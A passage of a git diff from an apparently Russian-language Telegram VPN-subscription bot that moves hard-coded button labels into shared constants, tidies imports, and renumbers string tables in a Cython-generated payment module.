builder.row(InlineKeyboardButton(text="⬅️ Назад", callback_data=f"view_key|{email}")) + builder.row(InlineKeyboardButton(text=MANUAL_INSTRUCTIONS, callback_data="instructions")) + builder.row(InlineKeyboardButton(text=BACK, callback_data=f"view_key|{email}")) await edit_or_send_message( target_message=callback_query.message, text=description, reply_markup=builder.as_markup(), media_path=None @@ -670,12 +684,11 @@ async def process_callback_connect_ios(callback_query: CallbackQuery): description = IOS_DESCRIPTION_TEMPLATE.format(key_link=key_link) - builder = InlineKeyboardBuilder() builder.row(InlineKeyboardButton(text=DOWNLOAD_IOS_BUTTON, url=DOWNLOAD_IOS)) builder.row(InlineKeyboardButton(text=IMPORT_IOS, url=f"{CONNECT_IOS}{key_link}")) - builder.row(InlineKeyboardButton(text="📖 Ручная установка", callback_data="instructions")) - builder.row(InlineKeyboardButton(text="👤 Личный кабинет", callback_data="profile")) + builder.row(InlineKeyboardButton(text=MANUAL_INSTRUCTIONS, callback_data="instructions")) + builder.row(InlineKeyboardButton(text=MAIN_MENU, callback_data="profile")) await edit_or_send_message( target_message=callback_query.message, @@ -712,8 +725,8 @@ async def process_callback_connect_android(callback_query: CallbackQuery): builder = InlineKeyboardBuilder() builder.row(InlineKeyboardButton(text=DOWNLOAD_ANDROID_BUTTON, url=DOWNLOAD_ANDROID)) builder.row(InlineKeyboardButton(text=IMPORT_ANDROID, url=f"{CONNECT_ANDROID}{key_link}")) - builder.row(InlineKeyboardButton(text="📖 Ручная установка", callback_data="instructions")) - builder.row(InlineKeyboardButton(text="👤 Личный кабинет", callback_data="profile")) + builder.row(InlineKeyboardButton(text=MANUAL_INSTRUCTIONS, callback_data="instructions")) + builder.row(InlineKeyboardButton(text=MAIN_MENU, callback_data="profile")) await edit_or_send_message( target_message=callback_query.message, @@ -750,11 +763,11 @@ async def process_callback_delete_key(callback_query: CallbackQuery): inline_keyboard=[ [ types.InlineKeyboardButton( - text="✅ Да, удалить", + text=APPLY, callback_data=f"confirm_delete|{client_id}", ) ], - [types.InlineKeyboardButton(text="❌ Нет, отменить", callback_data="view_keys")], + [types.InlineKeyboardButton(text=CANCEL, callback_data="view_keys")], ] ) @@ -777,7 +790,7 @@ async def process_callback_confirm_delete(callback_query: CallbackQuery, session if record: client_id = record["client_id"] response_message = KEY_DELETED_MSG_SIMPLE - back_button = types.InlineKeyboardButton(text="Назад", callback_data="view_keys") + back_button = types.InlineKeyboardButton(text=BACK, callback_data="view_keys") keyboard = types.InlineKeyboardMarkup(inline_keyboard=[[back_button]]) await delete_key(client_id, session) @@ -802,7 +815,7 @@ async def process_callback_confirm_delete(callback_query: CallbackQuery, session await delete_key(client_id, session) else: response_message = "Ключ не найден или уже удален." - back_button = types.InlineKeyboardButton(text="Назад", callback_data="view_keys") + back_button = types.InlineKeyboardButton(text=BACK, callback_data="view_keys") keyboard = types.InlineKeyboardMarkup(inline_keyboard=[[back_button]]) await edit_or_send_message( target_message=callback_query.message, text=response_message, reply_markup=keyboard, media_path=None @@ -837,7 +850,7 @@ async def process_callback_renew_key(callback_query: CallbackQuery, session: Any ) ) - builder.row(InlineKeyboardButton(text="⬅️ Назад", callback_data="view_keys")) + builder.row(InlineKeyboardButton(text=BACK, callback_data="view_keys")) balance = await get_balance(tg_id) @@ -914,8 +927,8 @@ async def process_callback_renew_plan(callback_query: CallbackQuery, session: An else: logger.info(f"[RENEW] Отправка сообщения о доплате пользователю {tg_id}") builder = InlineKeyboardBuilder() - builder.row(InlineKeyboardButton(text="💳 Пополнить баланс", callback_data="pay")) - builder.row(InlineKeyboardButton(text="👤 Личный кабинет", callback_data="profile")) + builder.row(InlineKeyboardButton(text=PAYMENT, callback_data="pay")) + builder.row(InlineKeyboardButton(text=MAIN_MENU, callback_data="profile")) await edit_or_send_message( target_message=callback_query.message, @@ -946,7 +959,7 @@ async def complete_key_renewal(tg_id, client_id, email, new_expiry_time, total_g response_message = SUCCESS_RENEWAL_MSG.format(months=plan) builder = InlineKeyboardBuilder() - builder.row(InlineKeyboardButton(text="👤 Личный кабинет", callback_data="profile")) + builder.row(InlineKeyboardButton(text=MAIN_MENU, callback_data="profile")) if callback_query: try: diff --git a/handlers/keys/subscriptions.py b/handlers/keys/subscriptions.py index bfd5123a..d010dfc9 100644 --- a/handlers/keys/subscriptions.py +++ b/handlers/keys/subscriptions.py @@ -4,11 +4,13 @@ import random import re import time import urllib.parse + from datetime import datetime import aiohttp import asyncpg import pytz + from aiohttp import web from config import ( diff --git a/handlers/notifications/__init__.py b/handlers/notifications/__init__.py index ee8f833d..6b90acab 100644 --- a/handlers/notifications/__init__.py +++ b/handlers/notifications/__init__.py @@ -5,6 +5,7 @@ from aiogram import Router from .general_notifications import router as general_notifications_router from .special_notifications import router as special_notifications_router + router = Router(name="notifications_main_router") router.include_routers(general_notifications_router, special_notifications_router) diff --git a/handlers/notifications/general_notifications.py b/handlers/notifications/general_notifications.py index 5da75e8a..c94e17df 100644 --- a/handlers/notifications/general_notifications.py +++ b/handlers/notifications/general_notifications.py @@ -1,8 +1,10 @@ import asyncio + from datetime import datetime, timedelta import asyncpg import pytz + from aiogram import Bot, Router from config import ( @@ -10,13 +12,13 @@ from config import ( NOTIFICATION_TIME, NOTIFY_DELETE_DELAY, NOTIFY_DELETE_KEY, + NOTIFY_INACTIVE_TRAFFIC, NOTIFY_MAXPRICE, NOTIFY_RENEW, NOTIFY_RENEW_EXPIRED, RENEWAL_PRICES, TOTAL_GB, TRIAL_TIME_DISABLE, - NOTIFY_INACTIVE_TRAFFIC, ) from database import ( add_notification, @@ -29,22 +31,24 @@ from database import ( update_key_expiry, ) from handlers.keys.key_utils import delete_key_from_cluster, renew_key_in_cluster +from handlers.notifications.notify_kb import build_notification_expired_kb, build_notification_kb from handlers.texts import ( - KEY_EXPIRY_10H, - KEY_EXPIRY_24H, - KEY_RENEWED, - KEY_RENEWED_TEMP_MSG, KEY_DELETED_MSG, KEY_EXPIRED_DELAY_HOURS_MINUTES_MSG, KEY_EXPIRED_DELAY_HOURS_MSG, KEY_EXPIRED_DELAY_MINUTES_MSG, KEY_EXPIRED_NO_DELAY_MSG, + KEY_EXPIRY_10H, + KEY_EXPIRY_24H, + KEY_RENEWED, + KEY_RENEWED_TEMP_MSG, ) -from handlers.notifications.notify_kb import build_notification_expired_kb, build_notification_kb from logger import logger + from .notify_utils import send_notification from .special_notifications import notify_inactive_trial_users, notify_users_no_traffic + router = Router() moscow_tz = pytz.timezone("Europe/Moscow") @@ -274,7 +278,9 @@ async def handle_expired_keys(bot: Bot, conn: asyncpg.Connection, current_time: tg_id, notification_id, ) - logger.info(f"⛔ Уведомление {notification_id} для {tg_id} удалено (прошло больше половины задержки).") + logger.info( + f"⛔ Уведомление {notification_id} для {tg_id} удалено (прошло больше половины задержки)." + ) except Exception as e: logger.error(f"Ошибка при удалении уведомления: {e}") continue diff --git a/handlers/notifications/notify_kb.py b/handlers/notifications/notify_kb.py index 55b06e0a..6fa7bad7 100644 --- a/handlers/notifications/notify_kb.py +++ b/handlers/notifications/notify_kb.py @@ -1,5 +1,7 @@ from aiogram.types import InlineKeyboardMarkup +from handlers.buttons import MAIN_MENU, RENEW_KEY + def build_notification_kb(email: str) -> InlineKeyboardMarkup: """ @@ -9,8 +11,8 @@ def build_notification_kb(email: str) -> InlineKeyboardMarkup: from aiogram.utils.keyboard import InlineKeyboardBuilder builder = InlineKeyboardBuilder() - builder.button(text="🔄 Продлить VPN", callback_data=f"renew_key|{email}") - builder.button(text="👤 Личный кабинет", callback_data="profile") + builder.button(text=RENEW_KEY, callback_data=f"renew_key|{email}") + builder.button(text=MAIN_MENU, callback_data="profile") builder.adjust(1) return builder.as_markup() @@ -23,5 +25,5 @@ def build_notification_expired_kb() -> InlineKeyboardMarkup: from aiogram.utils.keyboard import InlineKeyboardBuilder builder = InlineKeyboardBuilder() - builder.button(text="👤 Личный кабинет", callback_data="profile") + builder.button(text=MAIN_MENU, callback_data="profile") return builder.as_markup() diff --git a/handlers/notifications/notify_utils.py b/handlers/notifications/notify_utils.py index 974e6f03..e7828fc2 100644 --- a/handlers/notifications/notify_utils.py +++ b/handlers/notifications/notify_utils.py @@ -1,7 +1,8 @@ -import os import asyncio +import os import aiofiles + from aiogram import Bot from aiogram.exceptions import TelegramForbiddenError, TelegramRetryAfter from aiogram.types import BufferedInputFile, InlineKeyboardMarkup @@ -26,6 +27,7 @@ def rate_limited_send(func): tg_id = kwargs.get("tg_id") or args[1] logger.error(f"❌ Ошибка отправки сообщения пользователю {tg_id}: {e}") return False + return wrapper diff --git a/handlers/notifications/special_notifications.py b/handlers/notifications/special_notifications.py index a46e3e5f..57b1c3f6 100644 --- a/handlers/notifications/special_notifications.py +++ b/handlers/notifications/special_notifications.py @@ -1,8 +1,10 @@ import asyncio + from datetime import datetime, timedelta import asyncpg import pytz + from aiogram import Bot, Router, types from aiogram.exceptions import TelegramForbiddenError from aiogram.utils.keyboard import InlineKeyboardBuilder @@ -13,10 +15,12 @@ from database import ( check_notification_time, create_blocked_user, ) +from handlers.buttons import MAIN_MENU from handlers.keys.key_utils import get_user_traffic -from handlers.texts import TRIAL_INACTIVE_FIRST_MSG, TRIAL_INACTIVE_BONUS_MSG, ZERO_TRAFFIC_MSG +from handlers.texts import TRIAL_INACTIVE_BONUS_MSG, TRIAL_INACTIVE_FIRST_MSG, ZERO_TRAFFIC_MSG from logger import logger + router = Router() moscow_tz = pytz.timezone("Europe/Moscow") @@ -65,7 +69,7 @@ async def notify_inactive_trial_users(bot: Bot, conn: asyncpg.Connection): callback_data="create_key", ) ) - builder.row(types.InlineKeyboardButton(text="👤 Личный кабинет", callback_data="profile")) + builder.row(types.InlineKeyboardButton(text=MAIN_MENU, callback_data="profile")) keyboard = builder.as_markup() trial_extended = await conn.fetchval( @@ -165,7 +169,7 @@ async def notify_users_no_traffic(bot: Bot, conn: asyncpg.Connection, current_ti builder = InlineKeyboardBuilder() builder.row(types.InlineKeyboardButton(text="🔧 Написать в поддержку", url=SUPPORT_CHAT_URL)) - builder.row(types.InlineKeyboardButton(text="👤 Личный кабинет", callback_data="profile")) + builder.row(types.InlineKeyboardButton(text=MAIN_MENU, callback_data="profile")) keyboard = builder.as_markup() message = ZERO_TRAFFIC_MSG.format(email=email) diff --git a/handlers/pay.py b/handlers/pay.py index 9f40047a..6bbfb383 100644 --- a/handlers/pay.py +++ b/handlers/pay.py @@ -10,11 +10,12 @@ from config import ( YOOKASSA_ENABLE, YOOMONEY_ENABLE, ) - +from handlers.buttons import CRYPTOBOT, MAIN_MENU, ROBOKASSA, STARS, YOOKASSA, YOOMONEY from handlers.texts import PAYMENT_METHODS_MSG from .utils import edit_or_send_message + router = Router() @@ -25,41 +26,41 @@ async def handle_pay(callback_query: CallbackQuery): if YOOKASSA_ENABLE: builder.row( InlineKeyboardButton( - text="💳 ЮКасса: быстрая оплата", + text=YOOKASSA, callback_data="pay_yookassa", ) ) if YOOMONEY_ENABLE: builder.row( InlineKeyboardButton( - text="💳 ЮМани: перевод по карте", + text=YOOMONEY, callback_data="pay_yoomoney", ) ) if CRYPTO_BOT_ENABLE: builder.row( InlineKeyboardButton( - text="💰 CryptoBot: криптовалюта", + text=CRYPTOBOT, callback_data="pay_cryptobot", ) ) if STARS_ENABLE: builder.row( InlineKeyboardButton( - text="⭐ Оплата Звездами", + text=STARS, callback_data="pay_stars", ) ) if ROBOKASSA_ENABLE: builder.row( InlineKeyboardButton( - text="⭐ RoboKassa", + text=ROBOKASSA, callback_data="pay_robokassa", ) ) if DONATIONS_ENABLE: builder.row(InlineKeyboardButton(text="💰 Поддержать проект", callback_data="donate")) - builder.row(InlineKeyboardButton(text="👤 Личный кабинет", callback_data="profile")) + builder.row(InlineKeyboardButton(text=MAIN_MENU, callback_data="profile")) await edit_or_send_message( target_message=callback_query.message, diff --git a/handlers/payments/__init__.py b/handlers/payments/__init__.py index 9009f7cb..ba0f040b 100644 --- a/handlers/payments/__init__.py +++ b/handlers/payments/__init__.py @@ -1,7 +1,6 @@ __all__ = ("router",) from aiogram import Router - from config import ( CRYPTO_BOT_ENABLE, ROBOKASSA_ENABLE, @@ -9,6 +8,7 @@ from config import ( YOOKASSA_ENABLE, YOOMONEY_ENABLE, ) + from .cryprobot_pay import router as cryprobot_router from .gift import router as gift_router from .robokassa_pay import router as robokassa_router diff --git a/handlers/payments/cryprobot_pay.c b/handlers/payments/cryprobot_pay.c index 650271cb..dce24db9 100644 --- a/handlers/payments/cryprobot_pay.c +++ b/handlers/payments/cryprobot_pay.c @@ -2640,41 +2640,36 @@ static const char __pyx_k_e[] = "e"; static const char __pyx_k_i[] = "i"; static const char __pyx_k_2f[] = ".2f"; static const char __pyx_k__2[] = "\320\235\320\260\321\200\321\203\321\210\320\265\320\275\320\260 \321\206\320\265\320\273\320\276\321\201\321\202\320\275\320\276\321\201\321\202\321\214 \321\204\320\260\320\271\320\273\320\276\320\262! \320\236\320\261\320\275\320\276\320\262\320\270\321\202\320\265\321\201\321\214 \321\201 \320\277\320\276\320\273\320\275\320\276\320\271 \320\267\320\260\320\274\320\265\320\275\320\276\320\271 \320\277\320\260\320\277\320\272\320\270!"; -static const char __pyx_k__3[] = "\342\254\205\357\270\217 \320\235\320\260\320\267\320\260\320\264"; -static const char __pyx_k__5[] = "|"; -static const char __pyx_k__7[] = "\320\235\320\265\320\262\320\265\321\200\320\275\321\213\320\265 \320\264\320\260\320\275\320\275\321\213\320\265 \320\264\320\273\321\217 \320\262\321\213\320\261\320\276\321\200\320\260 \321\201\321\203\320\274\320\274\321\213."; -static const char __pyx_k__8[] = "\320\235\320\265\320\272\320\276\321\200\321\200\320\265\320\272\321\202\320\275\320\260\321\217 \321\201\321\203\320\274\320\274\320\260."; -static const char __pyx_k__9[] = "\320\237\320\276\320\277\320\276\320\273\320\275\320\265\320\275\320\270\320\265 \320\261\320\260\320\273\320\260\320\275\321\201\320\260 \320\275\320\260 "; +static const char __pyx_k__4[] = "|"; +static const char __pyx_k__6[] = "\320\235\320\265\320\262\320\265\321\200\320\275\321\213\320\265 \320\264\320\260\320\275\320\275\321\213\320\265 \320\264\320\273\321\217 \320\262\321\213\320\261\320\276\321\200\320\260 \321\201\321\203\320\274\320\274\321\213."; +static const char __pyx_k__7[] = "\320\235\320\265\320\272\320\276\321\200\321\200\320\265\320\272\321\202\320\275\320\260\321\217 \321\201\321\203\320\274\320\274\320\260."; +static const char __pyx_k__8[] = ":"; +static const char __pyx_k__9[] = "\320\236\321\210\320\270\320\261\320\272\320\260 \320\277\321\200\320\270 \321\201\320\276\320\267\320\264\320\260\320\275\320\270\320\270 \320\277\320\273\320\260\321\202\320\265\320\266\320\260."; static const char __pyx_k_gc[] = "gc"; static const char __pyx_k_id[] = "id"; static const char __pyx_k_Any[] = "Any"; +static const char __pyx_k_PAY[] = "PAY"; static const char __pyx_k_USD[] = "USD"; -static const char __pyx_k__10[] = " \321\200\321\203\320\261"; -static const char __pyx_k__11[] = ":"; -static const char __pyx_k__12[] = "\320\237\320\276\320\277\320\276\320\273\320\275\320\270\321\202\321\214"; -static const char __pyx_k__13[] = "\320\222\321\213 \320\262\321\213\320\261\321\200\320\260\320\273\320\270 \320\277\320\276\320\277\320\276\320\273\320\275\320\265\320\275\320\270\320\265 \320\275\320\260 "; -static const char __pyx_k__14[] = " \321\200\321\203\320\261\320\273\320\265\320\271."; -static const char __pyx_k__15[] = "\320\236\321\210\320\270\320\261\320\272\320\260 \320\277\321\200\320\270 \321\201\320\276\320\267\320\264\320\260\320\275\320\270\320\270 \320\277\320\273\320\260\321\202\320\265\320\266\320\260."; -static const char __pyx_k__16[] = "\320\236\321\210\320\270\320\261\320\272\320\260 \320\277\321\200\320\270 \321\201\320\276\320\267\320\264\320\260\320\275\320\270\320\270 \320\277\320\273\320\260\321\202\320\265\320\266\320\260: "; -static const char __pyx_k__17[] = "\320\237\321\200\320\276\320\270\320\267\320\276\321\210\320\273\320\260 \320\276\321\210\320\270\320\261\320\272\320\260 \320\277\321\200\320\270 \321\201\320\276\320\267\320\264\320\260\320\275\320\270\320\270 \320\277\320\273\320\260\321\202\320\265\320\266\320\260. \320\237\320\276\320\277\321\200\320\276\320\261\321\203\320\271\321\202\320\265 \321\201\320\275\320\276\320\262\320\260."; -static const char __pyx_k__19[] = "\320\237\320\276\320\273\321\203\321\207\320\265\320\275\321\213 \320\264\320\260\320\275\320\275\321\213\320\265 \320\262\320\265\320\261\321\205\321\203\320\272\320\260: "; -static const char __pyx_k__20[] = "\320\235\320\265\320\277\320\276\320\264\320\264\320\265\321\200\320\266\320\270\320\262\320\260\320\265\320\274\321\213\320\271 \321\202\320\270\320\277 \320\276\320\261\320\275\320\276\320\262\320\273\320\265\320\275\320\270\321\217: "; -static const char __pyx_k__21[] = "\320\236\321\210\320\270\320\261\320\272\320\260 \320\276\320\261\321\200\320\260\320\261\320\276\321\202\320\272\320\270 \320\262\320\265\320\261\321\205\321\203\320\272\320\260: "; -static const char __pyx_k__25[] = "\320\237\320\276\320\273\321\203\321\207\320\265\320\275 \320\275\320\265\320\276\320\277\320\273\320\260\321\207\320\265\320\275\320\275\321\213\320\271 \320\270\320\275\320\262\320\276\320\271\321\201: "; -static const char __pyx_k__27[] = "\360\237\224\231 \320\235\320\260\320\267\320\260\320\264"; -static const char __pyx_k__28[] = "\320\237\320\276\320\266\320\260\320\273\321\203\320\271\321\201\321\202\320\260, \320\262\320\262\320\265\320\264\320\270\321\202\320\265 \321\201\321\203\320\274\320\274\321\203 \320\277\320\276\320\277\320\276\320\273\320\275\320\265\320\275\320\270\321\217."; -static const char __pyx_k__31[] = "\320\241\321\203\320\274\320\274\320\260 \320\264\320\276\320\273\320\266\320\275\320\260 \320\261\321\213\321\202\321\214 \320\261\320\276\320\273\321\214\321\210\320\265 "; -static const char __pyx_k__32[] = ". \320\237\320\276\320\266\320\260\320\273\321\203\320\271\321\201\321\202\320\260, \320\262\320\262\320\265\320\264\320\270\321\202\320\265 \321\201\321\203\320\274\320\274\321\203 \320\265\321\211\320\265 \321\200\320\260\320\267:"; -static const char __pyx_k__33[] = "\320\237\320\276\320\277\320\276\320\273\320\275\320\265\320\275\320\270\321\217 \320\261\320\260\320\273\320\260\320\275\321\201\320\260 \320\275\320\260 "; -static const char __pyx_k__34[] = "\320\235\320\265\320\272\320\276\321\200\321\200\320\265\320\272\321\202\320\275\320\260\321\217 \321\201\321\203\320\274\320\274\320\260. \320\237\320\276\320\266\320\260\320\273\321\203\320\271\321\201\321\202\320\260, \320\262\320\262\320\265\320\264\320\270\321\202\320\265 \321\201\321\203\320\274\320\274\321\203 \320\265\321\211\320\265 \321\200\320\260\320\267:"; -static const char __pyx_k__35[] = "."; -static const char __pyx_k__44[] = "?"; +static const char __pyx_k__10[] = "\320\236\321\210\320\270\320\261\320\272\320\260 \320\277\321\200\320\270 \321\201\320\276\320\267\320\264\320\260\320\275\320\270\320\270 \320\277\320\273\320\260\321\202\320\265\320\266\320\260: "; +static const char __pyx_k__11[] = "\320\237\321\200\320\276\320\270\320\267\320\276\321\210\320\273\320\260 \320\276\321\210\320\270\320\261\320\272\320\260 \320\277\321\200\320\270 \321\201\320\276\320\267\320\264\320\260\320\275\320\270\320\270 \320\277\320\273\320\260\321\202\320\265\320\266\320\260. \320\237\320\276\320\277\321\200\320\276\320\261\321\203\320\271\321\202\320\265 \321\201\320\275\320\276\320\262\320\260."; +static const char __pyx_k__13[] = "\320\237\320\276\320\273\321\203\321\207\320\265\320\275\321\213 \320\264\320\260\320\275\320\275\321\213\320\265 \320\262\320\265\320\261\321\205\321\203\320\272\320\260: "; +static const char __pyx_k__14[] = "\320\235\320\265\320\277\320\276\320\264\320\264\320\265\321\200\320\266\320\270\320\262\320\260\320\265\320\274\321\213\320\271 \321\202\320\270\320\277 \320\276\320\261\320\275\320\276\320\262\320\273\320\265\320\275\320\270\321\217: "; +static const char __pyx_k__15[] = "\320\236\321\210\320\270\320\261\320\272\320\260 \320\276\320\261\321\200\320\260\320\261\320\276\321\202\320\272\320\270 \320\262\320\265\320\261\321\205\321\203\320\272\320\260: "; +static const char __pyx_k__19[] = "\320\237\320\276\320\273\321\203\321\207\320\265\320\275 \320\275\320\265\320\276\320\277\320\273\320\260\321\207\320\265\320\275\320\275\321\213\320\271 \320\270\320\275\320\262\320\276\320\271\321\201: "; +static const char __pyx_k__22[] = "\320\241\321\203\320\274\320\274\320\260 \320\264\320\276\320\273\320\266\320\275\320\260 \320\261\321\213\321\202\321\214 \320\261\320\276\320\273\321\214\321\210\320\265 "; +static const char __pyx_k__23[] = ". \320\237\320\276\320\266\320\260\320\273\321\203\320\271\321\201\321\202\320\260, \320\262\320\262\320\265\320\264\320\270\321\202\320\265 \321\201\321\203\320\274\320\274\321\203 \320\265\321\211\320\265 \321\200\320\260\320\267:"; +static const char __pyx_k__24[] = "\320\237\320\276\320\277\320\276\320\273\320\275\320\265\320\275\320\270\321\217 \320\261\320\260\320\273\320\260\320\275\321\201\320\260 \320\275\320\260 "; +static const char __pyx_k__25[] = " \321\200\321\203\320\261"; +static const char __pyx_k__26[] = "\320\235\320\265\320\272\320\276\321\200\321\200\320\265\320\272\321\202\320\275\320\260\321\217 \321\201\321\203\320\274\320\274\320\260. \320\237\320\276\320\266\320\260\320\273\321\203\320\271\321\201\321\202\320\260, \320\262\320\262\320\265\320\264\320\270\321\202\320\265 \321\201\321\203\320\274\320\274\321\203 \320\265\321\211\320\265 \321\200\320\260\320\267:"; +static const char __pyx_k__27[] = "."; +static const char __pyx_k__36[] = "?"; static const char __pyx_k_doc[] = "__doc__"; static const char __pyx_k_get[] = "get"; static const char __pyx_k_pay[] = "pay"; static const char __pyx_k_row[] = "row"; static const char __pyx_k_url[] = "url"; static const char __pyx_k_web[] = "web"; +static const char __pyx_k_BACK[] = "BACK"; static const char __pyx_k_args[] = "args"; static const char __pyx_k_chat[] = "chat"; static const char __pyx_k_data[] = "data"; @@ -2709,6 +2704,7 @@ static const char __pyx_k_config[] = "config"; static const char __pyx_k_crypto[] = "crypto_"; static const char __pyx_k_enable[] = "enable"; static const char __pyx_k_exists[] = "exists"; +static const char __pyx_k_format[] = "format"; static const char __pyx_k_import[] = "__import__"; static const char __pyx_k_logger[] = "logger"; static const char __pyx_k_module[] = "__module__"; @@ -2740,6 +2736,7 @@ static const char __pyx_k_crypto_2[] = "crypto"; static const char __pyx_k_database[] = "database"; static const char __pyx_k_qualname[] = "__qualname__"; static const char __pyx_k_set_name[] = "__set_name__"; +static const char __pyx_k_ENTER_SUM[] = "ENTER_SUM"; static const char __pyx_k_as_markup[] = "as_markup"; static const char __pyx_k_body_text[] = "body_text"; static const char __pyx_k_cryptobot[] = "cryptobot"; @@ -2792,6 +2789,7 @@ static const char __pyx_k_PAYMENT_OPTIONS[] = "PAYMENT_OPTIONS"; static const char __pyx_k_bot_invoice_url[] = "bot_invoice_url"; static const char __pyx_k_check_signature[] = "check_signature"; static const char __pyx_k_CRYPTO_BOT_TOKEN[] = "CRYPTO_BOT_TOKEN"; +static const char __pyx_k_handlers_buttons[] = "handlers.buttons"; static const char __pyx_k_CRYPTO_BOT_ENABLE[] = "CRYPTO_BOT_ENABLE"; static const char __pyx_k_aiogram_fsm_state[] = "aiogram.fsm.state"; static const char __pyx_k_cryptobot_webhook[] = "cryptobot_webhook"; @@ -2809,6 +2807,7 @@ static const char __pyx_k_aiogram_utils_keyboard[] = "aiogram.utils.keyboard"; static const char __pyx_k_choosing_amount_crypto[] = "choosing_amount_crypto"; static const char __pyx_k_handlers_payments_gift[] = "handlers.payments.gift"; static const char __pyx_k_process_crypto_payment[] = "process_crypto_payment"; +static const char __pyx_k_DEFAULT_PAYMENT_MESSAGE[] = "DEFAULT_PAYMENT_MESSAGE"; static const char __pyx_k_check_connection_exists[] = "check_connection_exists"; static const char __pyx_k_handlers_payments_utils[] = "handlers.payments.utils"; static const char __pyx_k_Crypto_Pay_Api_Signature[] = "Crypto-Pay-Api-Signature"; @@ -2885,10 +2884,13 @@ typedef struct { PyObject *__pyx_n_s_AMOUNT_TEXT; PyObject *__pyx_n_s_AioCryptoPay; PyObject *__pyx_n_s_Any; + PyObject *__pyx_n_s_BACK; PyObject *__pyx_n_u_CRYPTOSALE; PyObject *__pyx_n_s_CRYPTO_BOT_ENABLE; PyObject *__pyx_n_s_CRYPTO_BOT_TOKEN; PyObject *__pyx_kp_u_Crypto_Pay_Api_Signature; + PyObject *__pyx_n_s_DEFAULT_PAYMENT_MESSAGE; + PyObject *__pyx_n_s_ENTER_SUM; PyObject *__pyx_n_s_F; PyObject *__pyx_n_s_FSMContext; PyObject *__pyx_n_s_InlineKeyboardBuilder; @@ -2896,6 +2898,7 @@ typedef struct { PyObject *__pyx_n_s_MAIN_NET; PyObject *__pyx_n_s_Networks; PyObject *__pyx_kp_u_No_value; + PyObject *__pyx_n_s_PAY; PyObject *__pyx_n_s_PAYMENT_OPTIONS; PyObject *__pyx_n_s_PROJECTMANECONGIGURE; PyObject *__pyx_kp_u_Payment_succeeded_for_user_id; @@ -2909,27 +2912,20 @@ typedef struct { PyObject *__pyx_n_s_ValueError; PyObject *__pyx_kp_u__10; PyObject *__pyx_kp_u__11; - PyObject *__pyx_n_u__12; PyObject *__pyx_kp_u__13; PyObject *__pyx_kp_u__14; PyObject *__pyx_kp_u__15; - PyObject *__pyx_kp_u__16; - PyObject *__pyx_kp_u__17; PyObject *__pyx_kp_u__19; PyObject *__pyx_kp_u__2; - PyObject *__pyx_kp_u__20; - PyObject *__pyx_kp_u__21; + PyObject *__pyx_kp_u__22; + PyObject *__pyx_kp_u__23; + PyObject *__pyx_kp_u__24; PyObject *__pyx_kp_u__25; + PyObject *__pyx_kp_u__26; PyObject *__pyx_kp_u__27; - PyObject *__pyx_kp_u__28; - PyObject *__pyx_kp_u__3; - PyObject *__pyx_kp_u__31; - PyObject *__pyx_kp_u__32; - PyObject *__pyx_kp_u__33; - PyObject *__pyx_kp_u__34; - PyObject *__pyx_kp_u__35; - PyObject *__pyx_n_s__44; - PyObject *__pyx_kp_u__5; + PyObject *__pyx_n_s__36; + PyObject *__pyx_kp_u__4; + PyObject *__pyx_kp_u__6; PyObject *__pyx_kp_u__7; PyObject *__pyx_kp_u__8; PyObject *__pyx_kp_u__9; @@ -2993,9 +2989,11 @@ typedef struct { PyObject *__pyx_n_s_expected_hash; PyObject *__pyx_n_s_fiat; PyObject *__pyx_n_u_fiat; + PyObject *__pyx_n_s_format; PyObject *__pyx_kp_u_gc; PyObject *__pyx_n_s_get; PyObject *__pyx_n_s_get_key_count; + PyObject *__pyx_n_s_handlers_buttons; PyObject *__pyx_n_s_handlers_payments_cryprobot_pay; PyObject *__pyx_kp_s_handlers_payments_cryprobot_pay_2; PyObject *__pyx_n_s_handlers_payments_gift; @@ -3083,23 +3081,22 @@ typedef struct { PyObject *__pyx_int_400; PyObject *__pyx_int_500; PyObject *__pyx_codeobj_; - PyObject *__pyx_tuple__6; - PyObject *__pyx_tuple__23; + PyObject *__pyx_tuple__5; + PyObject *__pyx_tuple__17; + PyObject *__pyx_tuple__28; PyObject *__pyx_tuple__29; - PyObject *__pyx_tuple__36; - PyObject *__pyx_tuple__37; - PyObject *__pyx_tuple__38; - PyObject *__pyx_tuple__39; - PyObject *__pyx_tuple__40; - PyObject *__pyx_tuple__41; - PyObject *__pyx_tuple__42; - PyObject *__pyx_tuple__43; - PyObject *__pyx_codeobj__4; + PyObject *__pyx_tuple__30; + PyObject *__pyx_tuple__31; + PyObject *__pyx_tuple__32; + PyObject *__pyx_tuple__33; + PyObject *__pyx_tuple__34; + PyObject *__pyx_tuple__35; + PyObject *__pyx_codeobj__3; + PyObject *__pyx_codeobj__12; + PyObject *__pyx_codeobj__16; PyObject *__pyx_codeobj__18; - PyObject *__pyx_codeobj__22; - PyObject *__pyx_codeobj__24; - PyObject *__pyx_codeobj__26; - PyObject *__pyx_codeobj__30; + PyObject *__pyx_codeobj__20; + PyObject *__pyx_codeobj__21; } __pyx_mstate; #if CYTHON_USE_MODULE_STATE @@ -3160,10 +3157,13 @@ static int __pyx_m_clear(PyObject *m) { Py_CLEAR(clear_module_state->__pyx_n_s_AMOUNT_TEXT); Py_CLEAR(clear_module_state->__pyx_n_s_AioCryptoPay); Py_CLEAR(clear_module_state->__pyx_n_s_Any); + Py_CLEAR(clear_module_state->__pyx_n_s_BACK); Py_CLEAR(clear_module_state->__pyx_n_u_CRYPTOSALE); Py_CLEAR(clear_module_state->__pyx_n_s_CRYPTO_BOT_ENABLE); Py_CLEAR(clear_module_state->__pyx_n_s_CRYPTO_BOT_TOKEN); Py_CLEAR(clear_module_state->__pyx_kp_u_Crypto_Pay_Api_Signature); + Py_CLEAR(clear_module_state->__pyx_n_s_DEFAULT_PAYMENT_MESSAGE); + Py_CLEAR(clear_module_state->__pyx_n_s_ENTER_SUM); Py_CLEAR(clear_module_state->__pyx_n_s_F); Py_CLEAR(clear_module_state->__pyx_n_s_FSMContext); Py_CLEAR(clear_module_state->__pyx_n_s_InlineKeyboardBuilder); @@ -3171,6 +3171,7 @@ static int __pyx_m_clear(PyObject *m) { Py_CLEAR(clear_module_state->__pyx_n_s_MAIN_NET); Py_CLEAR(clear_module_state->__pyx_n_s_Networks); Py_CLEAR(clear_module_state->__pyx_kp_u_No_value); + Py_CLEAR(clear_module_state->__pyx_n_s_PAY); Py_CLEAR(clear_module_state->__pyx_n_s_PAYMENT_OPTIONS); Py_CLEAR(clear_module_state->__pyx_n_s_PROJECTMANECONGIGURE); Py_CLEAR(clear_module_state->__pyx_kp_u_Payment_succeeded_for_user_id); @@ -3184,27 +3185,20 @@ static int __pyx_m_clear(PyObject *m) { 